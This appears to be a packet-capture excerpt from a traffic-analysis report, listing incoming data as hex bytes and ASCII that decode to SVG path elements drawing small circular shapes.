2023-05-31 12:51:55 UTC	2386	IN	Data Raw: 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 34 2c 31 39 32 2e 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 31 33 2c 31 38 34 2e 38 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 Data Ascii: 3.32"></path><path class="cls-9" d="M331.4,192.9a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"></path><path class="cls-9" d="M331.13,184.83a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8
2023-05-31 12:51:55 UTC	2402	IN	Data Raw: 36 37 2c 32 37 32 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 36 2e 36 39 2c 32 36 34 2e 34 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 Data Ascii: 67,272.57a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.19,3.33"></path><path class="cls-9" d="M366.69,264.49a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.63,2.63,0,0,1,3
2023-05-31 12:51:55 UTC	2418	IN	Data Raw: 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2e 32 35 2c 33 34 34 2e 31 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2c 33 33 36 2e 30 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 Data Ascii: ,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M402.25,344.16a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M402,336.08a2,2,0,0,1-.9,2.6,2
2023-05-31 12:51:55 UTC	2434	IN	Data Raw: 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 31 2e 36 37 2c 31 38 39 2e 38 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 Data Ascii: -3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M421.67,189.85a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><pa
2023-05-31 12:51:55 UTC	2450	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2e 32 33 2c 32 36 39 2e 35 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2c 32 36 31 2e 34 34 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c Data Ascii: "></path><path class="cls-9" d="M457.23,269.51a2,2,0,0,1-.9,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M457,261.44a2,2,0,0,1-.91,2.6,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,
2023-05-31 12:51:55 UTC	2466	IN	Data Raw: 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 35 32 2c 33 34 31 2e 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 32 35 2c 33 33 33 61 32 2c 32 2c 30 2c 30 Data Ascii: ,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M492.52,341.1a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"></path><path class="cls-9" d="M492.25,333a2,2,0,0
2023-05-31 12:51:55 UTC	2482	IN	Data Raw: 32 2e 38 2c 30 2c 30 2c 31 2c 35 30 38 2c 31 39 33 61 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2c 31 38 36 2e 37 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: 2.8,0,0,1,508,193a2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M512,186.79a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M
2023-05-31 12:51:55 UTC	2498	IN	Data Raw: 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 35 31 2c 32 36 36 2e 34 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 32 34 2c 32 35 38 2e 33 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 Data Ascii: 33"></path><path class="cls-9" d="M547.51,266.46a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M547.24,258.38a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.8
2023-05-31 12:51:55 UTC	2514	IN	Data Raw: 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 32 2e 38 2c 33 33 38 2e 30 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class="cls-9" d="M582.8,338.05a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path
2023-05-31 12:51:55 UTC	2530	IN	Data Raw: 33 38 2c 33 37 2e 37 35 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 33 2e 31 33 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2e 31 36 2c 33 31 2e 32 37 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 38 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c Data Ascii: 38,37.75a1.61,1.61,0,0,1-.72,2.09,2.37,2.37,0,0,1-3.13-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M333.16,31.27a1.59,1.59,0,0,1-.72,2.08,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.47-2.69,2.1,2.1,0,
2023-05-31 12:51:55 UTC	2546	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 37 2c 39 35 2e 32 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 38 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 34 38 2c 38 38 2e 37 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c Data Ascii: .67"></path><path class="cls-9" d="M361.7,95.2a1.59,1.59,0,0,1-.73,2.08,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M361.48,88.71a1.6,1.6,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,
2023-05-31 12:51:55 UTC	2562	IN	Data Raw: 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 30 2c 31 35 32 2e 36 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 39 2e 38 2c 31 34 36 2e 31 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c Data Ascii: ,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M390,152.64a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M389.8,146.16a1.61,1.61,0,0,1-.73,
2023-05-31 12:51:55 UTC	2578	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 36 31 2c 32 38 2e 38 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 33 Data Ascii: .24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.61,28.81a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.3
2023-05-31 12:51:55 UTC	2594	IN	Data Raw: 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 34 33 30 2e 33 2c 39 34 61 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 33 33 2e 39 33 2c 38 36 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: 34,2.34,0,0,1,430.3,94a2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M433.93,86.26a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2,0,0,1,.15,2.68"></path><
2023-05-31 12:51:55 UTC	2610	IN	Data Raw: 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 36 32 2e 32 35 2c 31 34 33 2e 37 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c Data Ascii: ,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"></path><path class="cls-9" d="M462.25,143.71a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,
2023-05-31 12:51:55 UTC	2626	IN	Data Raw: 73 2d 39 22 20 64 3d 22 4d 34 37 38 2e 30 35 2c 32 36 2e 33 36 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 37 2e 38 34 2c 31 39 2e 38 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e Data Ascii: s-9" d="M478.05,26.36a1.6,1.6,0,0,1-.72,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M477.84,19.88a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.
2023-05-31 12:51:55 UTC	2642	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 33 37 2c 38 33 2e 38 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 31 35 2c 37 37 2e 33 33 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 Data Ascii: .67"></path><path class="cls-9" d="M506.37,83.81a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M506.15,77.33a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88
2023-05-31 12:51:55 UTC	2658	IN	Data Raw: 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 36 39 2c 31 34 31 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 34 37 2c 31 33 34 2e 37 38 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 